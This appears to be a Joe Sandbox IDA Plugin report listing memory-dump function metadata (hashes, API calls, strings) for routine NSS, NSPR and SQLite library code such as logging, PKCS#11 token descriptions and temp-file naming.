Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 06b9f3cd4a5ddd5639a33f9928c90ecdc59e84f163cf6b2c79fab92d89d5e071
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: DFE06D3AA1A054A7DF148E0DC461AA97399DF8271AFA4807ACC599BE01D633F8138785

Function 6C568670 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$K11_$Alloc_ArenaArena_DoesFindMechanismTag_
String ID:
API String ID: 2003479236-0
Opcode ID: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction ID: 599053b0aede27058fb23ffe5548afabbee164ebe38c84ee506801f2cc34b53f
Opcode Fuzzy Hash: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction Fuzzy Hash: F5E0B6B0C08B489BD708DF6AD94106AFBE5AFD8214F00D91DFC9C47212E730A5D48B82

Function 6C53CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012f03b7884f1fa72a26369919a4d61274fa4bd84a4e81517108de8573d452e0
Instruction ID: 848b39e0d22c054fbc2e76f466894e9f6c9b97260d016d05093d8ae909a02bb4
Opcode Fuzzy Hash: 012f03b7884f1fa72a26369919a4d61274fa4bd84a4e81517108de8573d452e0
Instruction Fuzzy Hash: 4CC04838244608CFC704DF4AE8899A83BA8AB49610B040094EA028B721DB61F800DA84

Function 6C6509D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C650A22

Part of subcall function 6C609DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DC6
Part of subcall function 6C609DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DD1
Part of subcall function 6C609DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C609DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C650A35

Part of subcall function 6C533810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C53382A
Part of subcall function 6C533810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C533879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C650A66
PR_GetCurrentThread.NSS3 ref: 6C650A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C650A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C650AC8
PR_vsmprintf.NSS3(?,?), ref: 6C650AE8
EnterCriticalSection.KERNEL32(?), ref: 6C650B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C650B48
OutputDebugStringA.KERNEL32(?), ref: 6C650B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C650C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C650C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C650C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C650C76
PR_LogFlush.NSS3 ref: 6C650C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C650C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C650C9C
OutputDebugStringA.KERNEL32(?), ref: 6C650CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C650CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C650CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C650D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C650D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C650D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C650D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C650D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C650D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C650D90
free.MOZGLUE(00000000), ref: 6C650D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C650A5B
%ld[%p]: , xrefs: 6C650A96

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 5215d914a38e3df140820fc56dda3dc52e446c076d013bb603c259bc73eccba9
Instruction ID: 161e25d116b3942bbb99a24bbff43084b56ba83a0cf1e0ae2d2a94e25d8e5735
Opcode Fuzzy Hash: 5215d914a38e3df140820fc56dda3dc52e446c076d013bb603c259bc73eccba9
Instruction Fuzzy Hash: 0FA1F474A00254EFDF109F69CCC8BEA7BB8AF1231CF580694E80993261D775E964CB5D

Function 6C556BF0 Relevance: 49.1, APIs: 19, Strings: 9, Instructions: 148COMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(6C690148,?,?,?,?,6C556DC2), ref: 6C556BFF
PR_smprintf.NSS3(%s manufacturerID='%s',00000000,?,6C556DC2), ref: 6C556C1C

Part of subcall function 6C52C5E0: free.MOZGLUE(?,?,?,?,00000000,00000001,?,6C531FBD,Unable to create nspr log file '%s',00000000), ref: 6C52C63B

free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556C27
PR_smprintf.NSS3(%s libraryDescription='%s',00000000,?,6C556DC2), ref: 6C556C45
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556C50
PR_smprintf.NSS3(%s cryptoTokenDescription='%s',00000000,?,6C556DC2), ref: 6C556C71
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556C7C
PR_smprintf.NSS3(%s dbTokenDescription='%s',00000000,?,6C556DC2), ref: 6C556C9D
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556CA8
PR_smprintf.NSS3(%s cryptoSlotDescription='%s',00000000,?,6C556DC2), ref: 6C556CC9
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556CD4
PR_smprintf.NSS3(%s dbSlotDescription='%s',00000000,?,6C556DC2), ref: 6C556CF5
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556D00
PR_smprintf.NSS3(%s FIPSSlotDescription='%s',00000000,?,6C556DC2), ref: 6C556D1D
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556D28
PR_smprintf.NSS3(%s FIPSTokenDescription='%s',00000000,?,6C556DC2), ref: 6C556D45
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556D50
PR_smprintf.NSS3(%s minPS=%d,00000000,?,6C556DC2), ref: 6C556D68
free.MOZGLUE(00000000,?,?,?,6C556DC2), ref: 6C556D73

Strings

%s dbTokenDescription='%s', xrefs: 6C556C98
%s cryptoSlotDescription='%s', xrefs: 6C556CC4
%s cryptoTokenDescription='%s', xrefs: 6C556C6C
%s libraryDescription='%s', xrefs: 6C556C40
%s FIPSSlotDescription='%s', xrefs: 6C556D18
%s dbSlotDescription='%s', xrefs: 6C556CF0
%s minPS=%d, xrefs: 6C556D63
%s manufacturerID='%s', xrefs: 6C556C17
%s FIPSTokenDescription='%s', xrefs: 6C556D40

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: R_smprintffree
String ID: %s FIPSSlotDescription='%s'$%s FIPSTokenDescription='%s'$%s cryptoSlotDescription='%s'$%s cryptoTokenDescription='%s'$%s dbSlotDescription='%s'$%s dbTokenDescription='%s'$%s libraryDescription='%s'$%s manufacturerID='%s'$%s minPS=%d
API String ID: 657075589-3414793728
Opcode ID: 147cfc95967b067551e373915797cf6c67f8f0e62cd7a8f1decfc377cfdf5c7e
Instruction ID: 44aaa0a01ba4afd59f2cd6009e946b4ffc69ebd11644c72ae13ea2e197d328d8
Opcode Fuzzy Hash: 147cfc95967b067551e373915797cf6c67f8f0e62cd7a8f1decfc377cfdf5c7e
Instruction Fuzzy Hash: 0A41F7B660265267B7106E295C46CA73A589EC21D8B590531FC1DC7B02FF22DD2486FE

Function 6C530AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C530AD4

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_EnterMonitor.NSS3 ref: 6C530B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6C530B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6C530B54
WideCharToMultiByte.KERNEL32 ref: 6C530B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C530BC9
calloc.MOZGLUE(00000001,00000014), ref: 6C530BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6C530C15

Strings

error %d, xrefs: 6C530D08
Loaded library %s (load lib), xrefs: 6C530D6F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: 33898892088d468a30d537315b22628149cd734f0e521653d3d968601902bb32
Instruction ID: 3fa377472053f2fa407975e3554e2a63b8eab14453687c9531789585fd8eb9c6
Opcode Fuzzy Hash: 33898892088d468a30d537315b22628149cd734f0e521653d3d968601902bb32
Instruction Fuzzy Hash: 3F71E870A00365EBDB10DF6ADC8466BBBB8EBC5358F04556AE80ED7640FB309E44CB65

Function 6C546740 Relevance: 45.6, APIs: 14, Strings: 12, Instructions: 122COMMON

Download Yara Rule

APIs

PL_strcasecmp.NSS3(?,other), ref: 6C54674D
PL_strcasecmp.NSS3(?,email), ref: 6C546763
PL_strcasecmp.NSS3(?,rfc822), ref: 6C546779
PL_strcasecmp.NSS3(?,dns), ref: 6C54678F
PL_strcasecmp.NSS3(?,x400), ref: 6C5467A5
PL_strcasecmp.NSS3(?,x400addr), ref: 6C5467BB
PL_strcasecmp.NSS3(?,directory), ref: 6C5467D1
PL_strcasecmp.NSS3(?,6C67C3B1), ref: 6C5467E7
PL_strcasecmp.NSS3(?,edi), ref: 6C5467FD
PL_strcasecmp.NSS3(?,ediparty), ref: 6C546813
PL_strcasecmp.NSS3(?,uri), ref: 6C546829
PL_strcasecmp.NSS3(?,6C67B3F4), ref: 6C54683F
PL_strcasecmp.NSS3(?,ipaddr), ref: 6C546851
PL_strcasecmp.NSS3(?,registerid), ref: 6C546863

Strings

registerid, xrefs: 6C54685D
edi, xrefs: 6C5467F7
uri, xrefs: 6C546823
other, xrefs: 6C546747
ediparty, xrefs: 6C54680D
email, xrefs: 6C54675D
rfc822, xrefs: 6C546773
dns, xrefs: 6C546789
ipaddr, xrefs: 6C54684B
directory, xrefs: 6C5467CB
x400addr, xrefs: 6C5467B5
x400, xrefs: 6C54679F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: L_strcasecmp
String ID: directory$dns$edi$ediparty$email$ipaddr$other$registerid$rfc822$uri$x400$x400addr
API String ID: 4194642261-1102114343
Opcode ID: bdd72cdc06ad7652ae730d0ea7baf9f1025d9044938f630ae6240990f0a21fbc
Instruction ID: de0755d22f8d97fd4f6cea72c0d459a313fa2267c05f3316c54e1e8afe576522
Opcode Fuzzy Hash: bdd72cdc06ad7652ae730d0ea7baf9f1025d9044938f630ae6240990f0a21fbc
Instruction Fuzzy Hash: 823136B5B42301A2EF1552296E14B9A23AA4F1234FF008C35FC44E1E45FF09DA6E85BE

Function 6C57CB70 Relevance: 44.0, APIs: 14, Strings: 11, Instructions: 225fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_OUTPUT_FILE,6C59444C,00000000,00000000,00000000,?,6C557F7C,6C5580DD), ref: 6C57CB8B

Part of subcall function 6C531240: TlsGetValue.KERNEL32(00000040,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531267
Part of subcall function 6C531240: EnterCriticalSection.KERNEL32(?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C53127C
Part of subcall function 6C531240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531291
Part of subcall function 6C531240: PR_Unlock.NSS3(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C5312A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C68DEB5,?,6C59444C,00000000,00000000,00000000,?,6C557F7C,6C5580DD), ref: 6C57CB9D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,6C59444C,00000000,00000000,00000000,?,6C557F7C,6C5580DD), ref: 6C57CBAE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,6C59444C,00000000,00000000,00000000), ref: 6C57CBE6
PR_IntervalToMicroseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C59444C,00000000,00000000,00000000), ref: 6C57CC37
PR_IntervalToMilliseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C59444C,00000000,00000000), ref: 6C57CCA4
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C57CD84
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C59444C,00000000), ref: 6C57CDA6
PR_IntervalToMilliseconds.NSS3(LDYl,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C59444C), ref: 6C57CE02
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C57CE59
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 6C57CE64
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C57CE72

Strings

Maximum number of concurrent open sessions: %d, xrefs: 6C57CE4A
NSS_OUTPUT_FILE, xrefs: 6C57CB86
# Calls, xrefs: 6C57CBC8
%25s %10d %10d%2s, xrefs: 6C57CE33
% Time, xrefs: 6C57CBB9
LDYl, xrefs: 6C57CDAE, 6C57CE01, 6C57CE1D
%-25s %10d %10d%2s , xrefs: 6C57CCD3
Function, xrefs: 6C57CBCD
%-25s %10s %12s %12s %10s, xrefs: 6C57CBD2
Totals, xrefs: 6C57CE2E
Avg., xrefs: 6C57CBBE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Intervalfputc$Milliseconds__acrt_iob_func$CriticalEnterMicrosecondsSectionSecureUnlockValuefclosefflushfopengetenv
String ID: Maximum number of concurrent open sessions: %d$# Calls$% Time$%-25s %10d %10d%2s $%-25s %10s %12s %12s %10s$%25s %10d %10d%2s$Avg.$Function$LDYl$NSS_OUTPUT_FILE$Totals
API String ID: 2795105899-2518675071
Opcode ID: 745f4cef587872570d1891d9499241c8d3a979696e51d2ff215252fda6842156
Instruction ID: 3a7553750cfcf5bd780e5d00a6923e36b156e88adf376ceac0a85325f74b2c34
Opcode Fuzzy Hash: 745f4cef587872570d1891d9499241c8d3a979696e51d2ff215252fda6842156
Instruction Fuzzy Hash: 25717B72E001409BCB21FA7E5C45A5EB6799FD6308F144A16E80A77F51FB30689487FB

Function 6C616E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C52F9C9,?,6C52F4DA,6C52F9C9,?,?,6C4F369A), ref: 6C4CCA7A
Part of subcall function 6C4CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C4CCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C4DBE66), ref: 6C616E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C4DBE66), ref: 6C616E98
sqlite3_snprintf.NSS3(?,00000000,6C67AAF9,?,?,?,?,?,?,6C4DBE66), ref: 6C616EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C4DBE66), ref: 6C616ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C4DBE66), ref: 6C616EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C4DBE66), ref: 6C616F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C4DBE66), ref: 6C616F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C4DBE66), ref: 6C616F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C4DBE66), ref: 6C616FA6
sqlite3_snprintf.NSS3(?,00000000,6C67AAF9,00000000,?,?,?,?,?,?,?,6C4DBE66), ref: 6C616FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4DBE66), ref: 6C616FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4DBE66), ref: 6C616FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C4DBE66), ref: 6C617014
sqlite3_free.NSS3(00000000,?,?,?,?,6C4DBE66), ref: 6C61701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C4DBE66), ref: 6C617030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C4DBE66), ref: 6C61705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C4DBE66), ref: 6C617079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C4DBE66), ref: 6C617097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C4DBE66), ref: 6C6170A0

Strings

winGetTempname1, xrefs: 6C61708F
winGetTempname5, xrefs: 6C617071
winGetTempname4, xrefs: 6C617046
mz_etilqs_, xrefs: 6C616F18
winGetTempname2, xrefs: 6C6170C4
Pel, xrefs: 6C6170A8

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pel$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-2258016319
Opcode ID: d2abf821615bbb491e69e3dbad0383afef6756cad5d1656db1a201b4ecc016c5
Instruction ID: 3aa18d77f6c2d8851f9854ba0606adc5d5df1d316ef04e5dbee9c1bbb3db5b23
Opcode Fuzzy Hash: d2abf821615bbb491e69e3dbad0383afef6756cad5d1656db1a201b4ecc016c5
Instruction Fuzzy Hash: 21517CB5B082116BE70096349C51FBB3626DBA230EF144538E80596FD1FB26D51EC2EF

Function 6C55AB90 Relevance: 40.6, APIs: 22, Strings: 1, Instructions: 388COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C55ABCB
EnterCriticalSection.KERNEL32 ref: 6C55ABE4
TlsGetValue.KERNEL32 ref: 6C55AC0B
PR_Unlock.NSS3 ref: 6C55AC7B
TlsGetValue.KERNEL32 ref: 6C55AC9C
EnterCriticalSection.KERNEL32 ref: 6C55ACB5
PR_WaitCondVar.NSS3 ref: 6C55ACD5
TlsGetValue.KERNEL32 ref: 6C55ACF4

Strings

nel, xrefs: 6C55AC4E, 6C55AD33, 6C55AF09

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSection$CondUnlockWait
String ID: nel
API String ID: 839227765-4255194777
Opcode ID: 218dae215aa567f1def989cc69683b7aa04be872615b8dda2c09770ce92c055b
Instruction ID: 88d5ffafb4854bd576f12a1e70bd633ef6fcc0e81a7daf219328add60c5c2e2d
Opcode Fuzzy Hash: 218dae215aa567f1def989cc69683b7aa04be872615b8dda2c09770ce92c055b
Instruction Fuzzy Hash: BFF17174A04755CFDB10EF79C988769BBF0BF45308F40896AD89987B51EB30E894CBA1

Function 6C5A4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

